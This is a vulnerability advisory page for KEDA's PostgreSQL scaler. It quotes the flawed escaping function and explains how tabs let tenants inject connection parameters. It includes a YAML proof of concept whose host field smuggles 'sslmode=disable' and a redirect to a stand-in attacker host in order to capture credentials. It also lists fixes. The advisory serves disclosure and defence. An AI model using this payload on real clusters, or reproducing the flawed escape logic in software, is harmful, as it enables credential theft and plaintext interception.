An open API service providing security vulnerability metadata for many open source software ecosystems.

GSA_kwCzR0hTQS02dzNtLTRoaHAtNzc1cc4ABaUl

Moderate CVSS: 5.9

KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping

Affected Packages Affected Versions Fixed Versions
go:github.com/kedacore/keda/v2
PURL: pkg:go/github.com%2Fkedacore%2Fkeda%2Fv2
< 2.20.0 2.20.0
43 Dependent packages
27 Dependent repositories

Affected Version Ranges

All affected versions

v2.0.0, v2.0.0-beta, v2.0.0-rc, v2.0.0-rc2, v2.1.0, v2.2.0, v2.3.0, v2.4.0, v2.5.0, v2.6.0, v2.6.1, v2.7.0, v2.7.1, v2.8.0, v2.8.1, v2.8.2, v2.9.0, v2.9.1, v2.9.2, v2.9.3, v2.10.0, v2.10.1, v2.11.0, v2.11.1, v2.11.2, v2.12.0, v2.12.1, v2.13.0, v2.13.1, v2.14.0, v2.14.1, v2.15.0, v2.15.1, v2.16.0, v2.16.1, v2.17.0, v2.17.1, v2.17.2, v2.17.3, v2.18.0, v2.18.1, v2.18.2, v2.18.3, v2.19.0

All unaffected versions

v2.20.0, v2.20.1

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

  • Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
  • Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
  • Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept

triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

  • Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
  • Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
  • Validate each field against an allow-list pattern before use.

Resources

References: